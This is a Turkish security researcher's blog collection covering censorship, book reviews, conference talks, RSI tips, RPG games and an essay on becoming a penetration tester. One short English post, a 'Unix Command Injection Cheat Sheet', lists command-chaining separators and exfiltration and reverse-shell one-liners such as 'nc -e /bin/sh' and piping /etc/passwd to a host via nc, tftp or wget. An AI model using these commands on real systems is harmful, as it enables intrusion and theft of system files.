    Düşünce "memleketti kurtaramadık bari kendi oyun alanımız olan interneti kurtaralım" mıdır? Yoksa kanunun "televizyonda, radyoda, kitapta vs. sansüre devam ama internette sansür falan yok, herşey serbesttir" olarak değişmesini umuyoruz?

    Not: Şu anki başbakanının düşünce suçundan zamanında hapise girdiği, halk tarafından seçilen partilerin her an kapatılma korkusu ile yaşadığı ya da kapatıldığı, kuruluşundan beri çeşitli nedenlerle insanların asıldığı, kaybolduğu bir memlekette youtube kapanınca herkesin fikir serbestliğinden, özgürlükten dem vurmaya başlaması da biraz komik. Hani hepsi tamamdı da bu son damla bardağı taşırdı kıvamında. Neyse gene dünyevi konulara girdim, söz bir sonraki yazı teknik olacak.

    Berat Kandiliniz Mübarek Olsun

    Allah, kendisine şirk koşulmasının dışındaki istediği kimselerin bütün günahlarını bağışlar. (Nisa Suresi, 48;116)

    Helal dairesi geniştir, keyfe kâfi gelir (Sözler)

    Tevbe etmek için güzel bir gece,
    Berat Kandili hakkında daha fazla bilgi ve verimli şekilde değerlendirmek üzerine güzel bir yazı sorularla islamiyet' te var.

    Süper Makale BSQL Hacker Videosu

    Başka projelerden dolayı BSQL Hacker ile pek ilgilenemedim ama inşallah önümüzdeki hafta içi ilk public betasını yayınlayacağım. "Niye hala beta?" diyebilirsiniz, sonuçta bu kodu yaklaşık 4,5 sene önce yazmaya başladım! Ama bir çok yenilik eklendi, çok geniş bir yapıya sahip. Ek olarak son versiyonda güçlü bir API desteği de var.

    Aşağıdaki video SQL Injection Wizard' ını gösteriyor. Videoyu direk Vimeodan izlerseniz HD izleme şansınız olacak, o şekilde çok daha net.


    BSQL Hacker Beta - Wizard Demo.

    Şu an yaptığım iş yeni özellik eklmekten çok bugları temizleme ve tüm özelliklerin beklenildiği gibi çalıştığından emin olmaya çalışmak. Kodun çok eski olması, 8000+ satır olması ve tamamen hack & slash yazılım geliştirme yaptığımdan dolayı çok ciddi stabilite sorunları var. Buna rağmen şu an bulabileceğiniz en iyi SQL Injection araçlarından biri olduğunu düşünüyorum. Yani bir çok diğer aracın yapamadığı şeyleri yapabiliyor. Adam gibi yayınlayınca o konuların detaylarına ineceğim.

    BSQL Hacker açık kaynak kodlu bir yazılım ve kodu Google Code üzerinden yayınlanacak.

    Kitaplar, Yalanlar, Wired ve Web Application Hackers Handbook

    cover-sandl-200hSiteyi takip edenlerdenseniz yakın dönemde Web Application Hackers Handbook ve Pragmatic Programmer kitaplarını bitirdiğimi biliyor olabilirsiniz.

    Pragmatic Programmer çok uzun zamandır okumak istediğim bir kitaptı ve neredeyse bir başyapıt. Code Complete' tan sonra  yazılım geliştirme konusundaki en iyi kitaptır. Eğer yazılım geliştirme ile ilgiliyseniz kesinlikle ve kesinlikle bu kitabı okuyun. Kitabın genel olarak üslubu da çok keyifli. Daha önceden kitaptan aldığım bazı notları yayınlamıştım.

    Web Application Hackers Handbook daha çok bir referans kitabı. Eğer web uygulaması güvenliği konusunda zaten çalışıyorsanız yeni bir şey bulamayacaksınız. Bu arada kitapta benim geliştirdiğim XSS Shell' den de bahsediliyor ama yazarların bir hatası sonucu XSS Shell' in SecuriTeam tarafından geliştirildiği iddia edilmiş. İnanmayın bu tip şeylere! Bir sonraki baskı olursa düzeltilecekmiş. Özetle kitap güzel ama ben içerisinde benim ilgimi çekecek bir şey bulamadım.

    Normal şartlarda pek dergi okumam, en azından son 8 senedir dergi okumuyorum ama bir dergi istisna. Sanırım herkes Wired' ı biliyordur. Geek' ler için televole dergisi. Nadiren de Edge Magazine' i okuyorum, klasik bir oyun dergisi ile oyun kültürü ve sektörü arasında gidip geliyor.

    Bu ay Wired' ı da bitirdikten sonra yeni bir kitaba başlamam gerekti ve arşivime tekrar bakıp heyecanla okumayı beklediğim kitaplardan biri olan Secret and Lies' a başladım. Schneier (şınayr diye okunuyor) inanılmaz bir karakter, harika bir yazar ve süper bir teknik beyne sahip. Ek olarak iyi bir iş adamı. Dolayısıyla onun yazılarını okumak farklı bir deneyim.

    Kitabın başında 5 sayfada dünyadaki tüm güvenlik sorununu ciddi ciddi çözdü. Gerçekten de dedikleri yapıldığında -ki çok uçuk şeyler değil-, güvenlik sektörünün en büyük sorunları kısa sürede çözülmüş olacaktır. Dolayısıyla henüz kitabın başında olmama rağmen kitap beni şimdiden etkiledi. Kitap hakkında tekrar yazacağım inşallah ama kitabı dijital formatta okumadığımdan dolayı pek not yayınlayamayacağım.

    Takipte Kalın

    Arada benden kitap önerisi isteyenler çıkıyor, Library Thing' te benim kitaplığımı görebilirsiniz. Okuduğum tüm kitaplar orada yok ama bir çoğu orada. Merak edenler oradan beğendiğim ve okuduğum kitapları görebilirler.

    Son olarak benim blog yazmamam bir şey paylaşmadığım anlamına gelmiyor. Okuduklarım sayfasından ya da bu RSS ile benim payşlaştığım yazıları takip edebilirsiniz. Burada gevezelik ettiğim twitter' ım ve şurada da hepsi birlikte Profilactic - fm sayfası var. Memleketimde herkes FriendFeed kullanıyormuş, ben ona henüz bulaşamadım. Şimdilik bu şekilde idare edin artık.

    Süper Makale RIATalks' un Ardından

    2748829625_54aeb15284 Cuma ve Cumartesi RIATalk's taydım ve iki konuda konuştum.

    • Insecure Trends in Web 2.0 / Web 2.0 Uygulamalarında Güvenlik Sorunları
    • Flash Uygulamalarında Güvenlik

    Etkinlik Bahçeşehir üniversitesi Beşiktaş kampüsündeydi. Okunacak değil de daha çok tatil yapılacak bir yer tadında harika bir manzarası vardı. Özellikle benim gibi uzun süredir denizden uzak kalan biri için boğaz manzarasında kola yudumlamak büyük bir keyifti.

    Birinci sunum olan "Web 2.0 Uygulamalarında Güvenlik Sorunları", "Kurumsal" sunumların yapıldığı daha küçük olan salondaydı ve çok daha keyifli geçti, katılımcılar hem sunum sırasında hem de sunumun sonundaki fikir paylaşımı kısmında tam bir harikaydı. Buradan teşekkür ederim kendilerine de.

    İkinci sunum ise "Flash Uygulamalarında Güvenlik" ti. Sunumun içeriği gereği çok fazla teknik bilgi vardı ek olarak güvenlik ile ilgili bilgiye de ihtiyaç vardı, dolayısıyla kendimi CSRF, XSS nedir' i anlatırkem buldum ki bu da tüm sunumu teknik olarak iyice karışık yaptı. Buna rağmen fena geçmedi ama bir daha katılımcıların %80' inin rahatça takip edebileceğine inanmadıktan sonra bu kadar teknik sunum seçmemeye karar verdim. İkinci sorun salon o kadar büyüktü ki sahnede de değilde televizyonda sunum yapıyormuş gibi hissettim. Buna rağmen bir çok kişi iki sunumun da çok güzel olduğunu söyledi, her ne kadar ben ikinci sunumda tuhaf hissetsem de o aslında iyi geçmiş.

    Bunun harici bir çok eski arkadaşımı gördüm, yeni süper insanlar ile tanıştım, bir de konferans sonu arkadaki cafe' de gizli bir güvenlik toplantısı da yaptık. Dolayısıyla arada sosyalleşme şansı da buldum. Türkiye' nin internet camiasının yakınlığını acayip seviyorum, sanki herkes birbirini liseden beri tanıyormuş gibi.

    İki sunumun da hem slaytları hem de videosu online olacak. Insecure Trends in Web 2.0 zaten ingilizce olarak üzerinde çalıştığım bir makalenin türkçe sunumuydu, dolayısıyla çok daha detaylı bir makale o konuda gelecek inşallah.

    Aşağıda RIATalks hakkında konuşan blogların adreslerini veriyorum. Sunum ve videoları bekleyemeyenler için bazı yazılarda benim sunumlarımın teknik detayları da var.

    Fotoğraf için Arman Acar' a http://www.flickr.com/photos/el3ctro/2748829625/ ya teşekkürler.

    Blackhat 2008 ve Defcon 2008 Sunumlarının Rapidshare Downloadları

    Eve yeni dönmüş biri olarak Defcon 2008 ve Blackhat 2008' i yakalamaya çalışıyorum. Bu sırada bir kaç kaynaktan sunumları indirdim, basitçe rapidshare' a upload ettim ki hızlı şekilde download edilebilecek bir yer olsun.

    Bu arada şimdilik şu sunumları sevdim:

    • Get Rich or Die Trying - BH_US_08_Grossman_Evans_Get_Rich_or_Die_Trying.pdf
    • Anatomy of a Subway Hack - defcon-16-anderson-ryan-cheisa-2.pdf

    Yeni güzel sunumları denk geldikçe listeyi de güncelleyeceğim. Bazı sunumlar demo olmadan bir anlam ifade etmiyor onlar için videoları bekliyor olacağız.

    RIATalks' ta Buluşalım

    mavi banner

    8-9 Ağustos' da (yani bu cuma ve cumartesi) İstanbul' daki Zengin İnternet Uygulamaları (RIA) ve Web 2.0 Konferansı' ında konuşuyor olacağım. Uzun süredir İstanbula gelememiştim, güzel olacak inşallah. Ek olarak daha bir sürü güzel konuşma var konferansta (bu cümleden benim konuşmamın da güzel olduğu gerçeğini çıkartabilirsiniz!) Konferans ücretsiz ama kayıt yaptırmanız gerekli, zaten az vakit kaldığından dolayı acele edin.

    Ben hem cuma hem de cumartesi konuşuyor olacağım, teknik ve kurumsal. İkisi için de güzel sunumlar sizi bekliyor olacak.

    RIATalks' ta görüşmek üzere,

    ASP.NET - Otomatik Kod vs.

    RSI hikayesinden dolayı bir şey yapamadığımdan vaktimi kitap okuyarak ve Warhammer 40000, Squad Command oynayarak geçiriyorum. Şimdi pragmatic programmer' da şu kısım ilgimi çekti :

    ... But using a wizard designed by a guru does not automatically make Joe developer equally expert. Joe can feel pretty good—he's just produced a mass of code and a pretty spiffy-looking program. He just adds in the specific application functionality and it's ready to ship. But unless Joe actually understands the code that has been produced on his behalf, he's fooling himself. He's programming by coincidence. Wizards are a one-way street—they cut the code for you, and then move on. If the code they produce isn't quite right, or if circumstances change and you need to adapt the code, you're on your own.

    Genelde MS' in ASP.NET tasarım yaklaşımını ve benzeri yaklaşımları bu yüzden sevmiyorum, direk olarak sizin kontrolünüzde olmayan bir dizi olay sonucunda programlama yapıyorsunuz. Bu kötüdür demiyorum, anladıktan sonra bir sorun da yok ama özellikle yeni başlayan programcıların, bunları kullanıp daha sonradan kendi programlarındaki bir hatayı tespit edememeleri biraz komik oluyor.

    My Love is Killing Me

    Logitech Wireless TrackMan OpticalBir süredir çok fazla yazamıyorum, ana nedeni RSI' mın azmış olması. RSI klasik bilgisayarcı hastalıklarından biri. Özetle mouse ve klavye ile aynı hareketleri tekrarlamaktan dolayı şaftının kaymasına deniyor. Bendeki RSI Carpal Tunnel Sendromu değil ama benzer bir şey. Temel olarak klavye ve mouse, bileğimde ve kolumda ciddi ağrılara neden oluyor. Bu başıma üçüncü defa geliyor, o yüzden artık biraz daha dikkat etmeye çalışıyorum, buraya daha  az yazmamın nedenlerinden biri bu, bunun anlamı daha az e-mail cevabı demek aynı zamanda. Bir süreliğine elimi ve kolumu dinlendirmeye çalışıyorum.

    İkinci trajik durumsa ilerlemeden ya da başlamadan gözlerimi de kontrol ettirmeye başlıyorum. Bilgisayarın başımıza açtığı işler, ya da ofisteki arkadaşların tabiri ile "yaşlanıyorum". Tabii bunu söyleyen arkadaş bir kaç ay önce 30' una girdi onun acısını benden çıkarmaya çalışıyor! Cumartesi göz check-up' ım var bakalım gözlükle mi, lensle mi ya da temiz mi döneceğiz.

    McDavid Wrist SupportRSI' a geri dönersek, benim analizlerime göre yapabileceğiniz şeyler:

    • Wrist Brace - Bileklik Edinin
      Bu inanılmaz derecede benim işime yaradı, o olmasaydı şu an bunu yazamazdım. Ben yandaki bilekliği kullanıyorum, Her ne kadar hafiten bir "Micheal Jackson" imajı yapsa da çok kullanışlı.
    • Daha çok kısayol kullanın. Çok kullandığınız programların özellikle tarayıcınızın ve işletim sisteminizin kullandığınız tüm fonksiyonlarının kısayollarını bilin.
    • Çalışmaya ara verin, her 30 dk. da bir 1-2 dk. kadar yeterli olacaktır. Bunu RSI Reminder gibi küçük programcıklar ile yapabilirsiniz.
    • Powerball edinin, Bunu bir kaç kişi önerdi. Bende bir tane sipariş ettim, yolda. Farklı kasları çalıştırmanızı sağlıyormuş, hem de eğlenceli bir zımbırtıymış. Bir nevi yeni neslin yoyosu.
    • Ergonomik klavye kullanın, iki el ile yazmayı öğrenin.
    • Ergonomik şekilde oturun ve monitor, klavye, mouse u ona göre ayarlayın.
    • Mouse yerine Joistik, Trackball, Trackpad, Foot pedal ya da benzer bir şey kullanmaya başlayın. Yukarıdaki resimdeki Logitech Trackman güzel bir seçim olabilir.
    • Güzel bir sandalye alın
    • CRT monitör kullanıyorsanız hemen onu çöpe atıp bir TFT edinin, tasarımcıyım CRT den ayrılmam gibi bir şey gevelemeyin, tasarımcısınız diye kör olmanız gerekmiyor. 17" ile 1440*900 çözünürlük yerine 19" da 1440*900 çözünürlük kullanın.
    • Mouse ile oynanan oyunları oynamayın, eğer mümkünse kendinize bir XBox 360 ya da PS3 edinin, ya da PC oyunlarını Gamepad ile oynayın bu sayede farklı kasları kullanabilirsiniz.

    Özetle bilgisayar aşkınızın sizi öldürmesine izin vermeyin. Kolum tekrar ağrımaya başladı o yüzden burada bırakıyorum...

     

    Başlıktaki göndermeyi anlamayanlar için, bu Six String Samurai filminin Red Elvises' ın söylediği harika bir şarkı.

    RPG Oyunları

    Bilindiği üzere ben RPG oyunlarının büyük bir fanıyım. Bir kaç hafta önce RPG oyunlarının tarihi hakkında uzun bir yazı dizisi okuma fırsatı buldum. The History of Computer Role-Playing Games. image Ek olarak birde kitap var daha detaylı şekilde Dungeons and Desktops, henüz okuma fırsatım olmadı.

    Tüm yazı serisi 50 sayfa kadar ve ilk RPG türevlerinden bugüne kadar geliyor. Herşeyden önce gelişim çok etkileyici ve ilginç, onlarca seneden sonra bazı oyunların hala çok eski oyunlardaki detayları yakalayamamış olması gibi. Orijinal bir oyun türünün gelişimini sayfalardan izlemek gayet etkileyici. Yazar belli ki konusunda uzman ve 1994-2004 arasını CRPG' nin en önemli yılları olarak belirtmiş.

    Bu tarihlerde benim de severek oynadım şu oyunlardan ve bu oyunlarında devam serilerinden bahsediyor:

    image Diğer ilginç bir nokta ise Diablo' nun ve benzer Hack'n Slash oyunlarının hem CRPG' yi çok büyük kitlelere tanıştırdığını hem de aynı zamanda CRPG için kötü olduğunu çünkü bundan sonraki Temple of Elemental Evil gibi oyunların artık oyunculara çok karışık geldiğinden bahsediyor. Yukarıdaki oyunların hepsi genel alt yapıda gerçek masaüstü RPG oyunlarından implemente edilmiş kurallar ile çalışıyorlar. Fallout ve Diablo hariç hepsi D&D kurallarına uygun şekilde. Fallout' un kendi özel sistemi var ve bu başka masaüstü oyunlarda da kullnılıyor. Diablo' nun kendi içerisinde daha basit bir sistemi var. Dolayısıyla oyunlar genelde tuş parçalamaktansa stratejiye yönelik. Zaten aynı zamanda bir çoğu turn-based yani gerçek zamanlı değil.

    İlginç, neredeyse son dört senedir adam gibi RPG yapılmış değil, Oblivion gibi RPG' leri saymıyorum, saymamamın tek nedeni benim First-Person-View RPG' leri sevmemem. Gene aynı konuya gireceğim ama tabii ki konsolların piyasayı doldurması PC oyunlarına ayrılan bütçeyide çok kısıtladı. Artık eski-stil, izometrik görüntü RPG' ler para etmiyor gibi ve sadece kısıtlı PC kullanan ve hard-core RPG severlere hitap ediyor. Bu gruptaki oyuncu sayısı da azaldıkça, yeni oyunlar çıkmaz oluyor.

    Eski oyunların tekrar yapımları

    Bu aralar kafamda olan şey bu, bir çok harika RPG oyunu yapıldı ama yeni oyuncular bunları tamamen kaçırmış durumda, bu oyunların bire bir aynıları yeni ufak geliştirmeler ile ve tamamen yeni oyun motoru, grafikler ile geliştirilseler süper olmaz mı? Mesela Bionic Commando bu şekilde tekrar yapılıyor. Baldur's Gate serisi, Fallout Serisi, Planescape: Torment vs.

    PS3 güzel gözüken ama rezil oyunlar ile dolu, yeni konsol oyunlarının %70' nin böyle olduğunu söyleyebilirim (benim oyun zevkime göre). Özetle keşke büyük firmalara eski ve güzel oyunları tekrar yapmaya başlasalar süper olurdu ama bu tekrar yapmak olayının popüler olması şimdilik zor gibi.

    Reklam İndeksi ve Reklam Ödülleri

    Herşeyden önce siteye reklam verenlerin hepsine çok teşekkürler. Sevindiğim konulardan biri genelde tüm reklamların okuyucu kitlesi ile tam olarak uyuşması dolayısıyla adsense' teki gibi alakasız reklamlarlardansa mantıklı güzel reklamlar oluyor sitede.

    Şimdiye kadarki reklam verenlerin bir listesini yazmak istedim.

    • Flash Page Flip
      En uzun reklam veren ödülünü kazandı.
    • Zemana AntiLogger
      Sitenin içeriği ile en iyi uyuşan reklam ödülünü kazandı.
    • CvZip
      Google Ad Manager' ı bu sitede kullanan ilk reklam veren ödülünü kazandı.
    • Lafmacun
      En ufak reklam ödülünü kazandı.
    • Azbuz
      En büyük yer kaplayan reklam ödülünü kazandı.

    Reklam verenlere tekrar teşekkürler.

    Bu arada google reklamlarımız küçüldü ve yazıları engellemeyecek şekilde sağ kısma kaydı. Umarım artık yazılar reklamlarla içe girmez. Yeni tasarım biraz gecikme de, sanırım en az 1-2 ay daha sürecek onu açabilmem.

    Unix Command Injection Cheat Sheet

    Short, yet quite useful command injection cheat sheet.

    Executing Commands

    • Seperating Commands:
      blah;blah2
    • PIPE:
      blah | blah2
    • PIPEZ:
      blah ^ blah2
    • AND:
      blah && blah2
    • OR:
      FAIL || X
    • OR:
      blah%0Dblah2%0Dblah3
    • Backtick:
      `blah`
    • Background:
      `blah & blah2`

    Getting Files / Data

    • FTP:
      Make a new text, and echo and then redirect to FTP
    • NC:
      nc -e /bin/sh
    • NC:
      echo /etc/passwd  | nc host port
    • TFTP:
      echo put /etc/passwd | tftp host
    • WGET:
      wget --post-file /etc/passwd

    Credits : notsosecure and pentestmonkey

    Firefox 3 ve Debian ve XUL

    Son iki üç gündür yorumları pek hızlı onaylıyamıyordum, çünkü sistmelerimden birimi Vista' dan Debian' a geçirmek ile meşguldüm. Nihayet bugün işlemlerimi bitirdim ve Debian' ım Firefox 3 ve Thunderbird ile birlikte çalışır hale geldi.

    Debian kullanıcıları bilir Debian lisans konusunda çok takıntılı bir dağıtım, o yüzden bazı paketleri kullanmak için biraz kasmanız ya da ekstra repository' ler kullanmanız gerekiyor. Aynı nedenden dolayı Firefox değil forku olan iceweasel ile geliyor.

    Firefox 3' ü kullanabilmeniz için basitçe son Linux binary release' i indirin, güzel bir yere açın. Ondan sonra da flash' ın çalışması için de iceweasel' ın plugins klasöründeki .so dosyalarını Firefox 3' ün plugins' ine atın tamamdır. 64bit Linux ve Flash derdi ise bambaşka bir konu, ben bu dertlerden kaçmak için 32bit yaşıyorum hala.

    Esas söylemek istediğim ise Thunderbird ve Firefox' un farklı platformlarda çalışmalarının inanılmaz güzelliğiydi. Şu an kullandığım Firefox profili aşağıdaki yollardan geçmiş bir profil :

    Windows 2003 > Max OSX > Windows Vista > Debian

    Ve hepsinde de süper bir şekilde çalışıyor. Thunderbird profilimi de aynı şekilde tutuyorum, inanılmaz bir güzellik. Keşke aynı kalitede ve aynı şekilde farklı platformlarda çalışabilen daha çok yazılıma sahip olabilsek.

    Vaktim olunca bir de KDE 4' ü denemek istiyorum ama bakalım...

    MySpace' i Sen Yapsaydın?

    Geçen gün ofiste bu soru ortaya çıktı:

    MySpace' i sen yapsaydın bundan gurur duyar mıydın?

    Soruyu aynen size iletiyorum, ofiste üç kişiden üç farklı yaklaşım oldu. Bakalım site ahalisi ne düşünüyor.

    Fallout 3

    Geldi gelecek, işte ilk görüntüler geldi. Açıkçası ben genel olarak Fallout 3 konusunda bir hayal kırıklığı yaşıyorum ama bunu sonra vaktim olunca yazarım. Hatta o konuyu yazarken hatırlatın bir de Diablo III den bahsedeyim.

    Unutmadan videolarda kan-gövde götürmekte, +16 diyebiliriz sanırım.

    Videolar :

    Takıntı...

    Neden başladığımı hatırlamıyorum ama artık bırakmak mümkün değil...

    Süper Makale Penetration Tester Olmak

    Daha önceden pek çok kişi zaten söyledi güvenlikçi olmak sadece birkaç teknik konuyu iyi bilmek ya da birkaç kitap okumak değil daha çok beynin nasıl çalıştığı, bir soruna nasıl yaklaşıldığı ve olaylara bakış açısı ile ilgili. Bunun yanında bir çok başka meslekte de gerektiği gibi gündemi takip etme, odaklanma ve havadaki kokuları alabilme de gerekli meziyetlerden.

    Bir güvenlik uzmanının ya da daha spesifik olarak penetration tester’ ın bir dizi özelliğe ihtiyacı var. Bu özelliklerin bir kısmı teknik, ve teknik şeyler öğrenilebilir ama bir kısmı da doğuştan gelen huylar ve muhtemelen ne yaparsanız yapın öğrenemeyeceğiniz ya da gerçekten öğrenmesi seneler sürecek şeyler.

    Konuyu burada hemen “güvenlikçi oılunmaz, güvenlikçi doğulur(!)” a bağlamak istemiyorum, çünkü durum bu değil. İddialara göre Mehmet Akif Ersoy demiş ki “Şiirin %5 ilham, %95 çalışmaktır”. Ben de bu şekilde düşünüyorum, dolayısıyla %5 + %95 e erişince Mehmet Akif Ersoy olunuyor.

    Yazacaklarımın bazıları gerçekten ölümcül bazıları ise sadece işinizde daha iyi olmanızı sağlayacak şeyler.

    • Güvenlikçi Olarak Yaşamak, Güvenlikçi Olarak Düşünmek
      • Yapmak değil, yıkmak
      • Kullanmak değil, Suistimal etmek
    • Derinlemesine Bilgi
    • Paranoya
    • Tutku
    • İletişim Becerisi
    • Okuma

    Penetration Testing, Güvenlik Uzmanı ve Vulnerability Assessment

    Yazının detaylarına geçmeden önce bazı terimleri temiz şekilde ifade etmek gerekir.

    Penetration Testing (Pen Test)
    Bir sistemi dışarıdan genelde ekstra hiçbir ekstra bilgi sahibi olmadan güvenlik açıklarına karşı test etmek ve bu açıkları mümkün olduğu kadar exploit etmek.

    Vulnerability Assessment (VA)

    Aynı penetration testing gibidir ama açıklar exploit edilmez, burada dikkat edilmesi gereken bir nokta var ki Vulnerability Assessment daha çok false positive verecektir ve açığın gerçek etkisini ortaya koymayabilir.

    Mesela test edilen sistemdeki Buffer Overflow açığı olan bir SMTP server varsa ama karşıdaki sistem x64 ise ve bu açık x64 da geçerli değilse Vulnerability Assessment bunu açık olarak direk kabul edecektir ama gerçekte bu açık exploit edilemeyeceğinden direk bir risk taşımamaktır. Buna rağmen eski versiyon bir yazılım bulundurmak genelde iyi bir fikir olmadığından VA’ ın sonuçları her şekilde işe yarayacaktır.

    Güvenlikçi / Güvenlik Uzmanı

    Güvenlik Uzmanı çok geniş bir terim genelde şu iki anlamda kullanılır:

    • Bir sistemin güvenliğini sağlamadan sorumlu kişi.
    • Güvenlik işini bilen kişi.

    İroniktir ki genelde güvenlikçikler sistemleri korurlar Penetration Testerlar gibi saldırmazlar ama bu grubun ikisi de Güvenlikçi, Güvenlik Mühendisi, Güvenlik Uzmanı diye geçebilir.

    Ek olarak bazı güvenlikçiler kendi sistemlerini test etmek için kendi içlerinden kendi sistemlerine saldırganmış gibi de test edebilirler. Bu kişiler genelde iki rolüde üstlenmiş olurlar. Not düşmek lazım bu aynı kendi programınızda “bug” aramak gibidir, yani muhtemelen iyi sonuçlar vermeyecektir. Yazılımın sahibi olarak yazılımın zaten doğru oldu varsayımı ile yola çıktığınızdan genelde önünüzdeki sorunları bile göremeyeceksinizdir.

    Güvenlikçi Olarak Düşünmek

    Polisiye filmlerdeki klasik muhabbetlerden biri “profiling” dir yani saldırganın profilini çıkartabilmek. Buradaki en büyük klişe ise bir dedektifin saldırgan gibi düşünmesidir. Ne kadar klişe olsa da bu gerçekten saldırgana ulaşmanın en iyi yoludur ve güvenlikçi de aynı periyoddan çok daha güçlü şekilde geçer.

    Çünkü bir polis gerçekte saldırgana ulaşmak için kimseyi öldürmez ama güvenlikçi siteye girer, exploit eder, database’ i indirir, reverse shell’ ine erişir. Gerçekten suçu işler, doruğa çıkar ve iner. Bu gereksinim güvenlikçinin içerisinde saldırgan kimliğinin bire bir yaşamasını sağlar.

    Bilinen bir gerçek bir çok büyük güvenlik firmasında çalışan kişilerin eski suçlu hackerlar olduğudur.

    Örnek isterseniz Kevin Mitnick’ in kendisi ya da eski @stake’ in L0pth Heavy Industries hacker grubunda gelen tayfası güzel bir örnek olacaktır. Bu örneklerin yanında diğer bir çok benzer güvenlik sektöründe çalışan kişinin de karanlık bir mazisi vardır. Bu arada not düşmek gerekir ki bu furya değişiyor, yazının ilerisinde ona değineceğim.

    O zaman güvenlikçi saldırgan gibi düşünmelidir, Saldırganın motivasyonu nedir?

    • Para,
      Karşıdaki sistemi kırıp elde edeceği getiri (Kredi Kartı vs.)
    • Şan / Şöhret,
      Cyber Grafiti veya benzeri gösteriler, Saldırgan sistemi kırabildiğini tüm dünyaya gösterir
    • Ego Tatmini,
      Saldırgan karşıdaki sistemi kırıp kendisinin sistemin geliştiricilerinden daha iyi olduğuna inandırır, ek olarak kırılamayanı kırmış yeni bir şey yapmıştır.

    Peki aynı durumda penetration tester ne yapmaktadır, onun motivasyonu nedir?

    • Para,
      Sistemi kırmak, kontrolleri geçmek güvenlikçinin pozisyonun koruması ya da daha iyi bir tester olup daha çok maaş alması demek.
    • Şan / Şöhret,
      Konu ar-ge olunca durum tamamen aynıdır, güvenlikçi yayınladığı yeni bir bir makale, araştırma yazısı ile o çevrede ünlenecektir, aynı şekilde saldırının başarısı ile de firma ya da kendi içerisinde bulunduğu grup içerisinde ünlenecektir.
    • Ego Tatmini,
      Güvenlikçi bu noktada saldırgan ile birebir aynı duyguları paylaşır.

    Görüldüğü üzere güvenlikçi ile saldırgan tamamen aynı duygular içerisindedir, dolayıyla penetration tester’ lar dünyadaki saldırgan rolünü direk olarak oynayan sayılı mesleklerin birini icra etmektedirler.

    Yazının devamı gelecek inşallah, orada biraz daha psikolojik farklılıklara, daha verimli olmak için yapılması gerekenlere ve en sonra olarakta kendinizi bu alanda nasıl geliştirebilirsinize ve Derinlemesine Bilgi, Paranoya, Tutku, İletişim Becerisi, Okuma konularına değinmeye çalışacağım.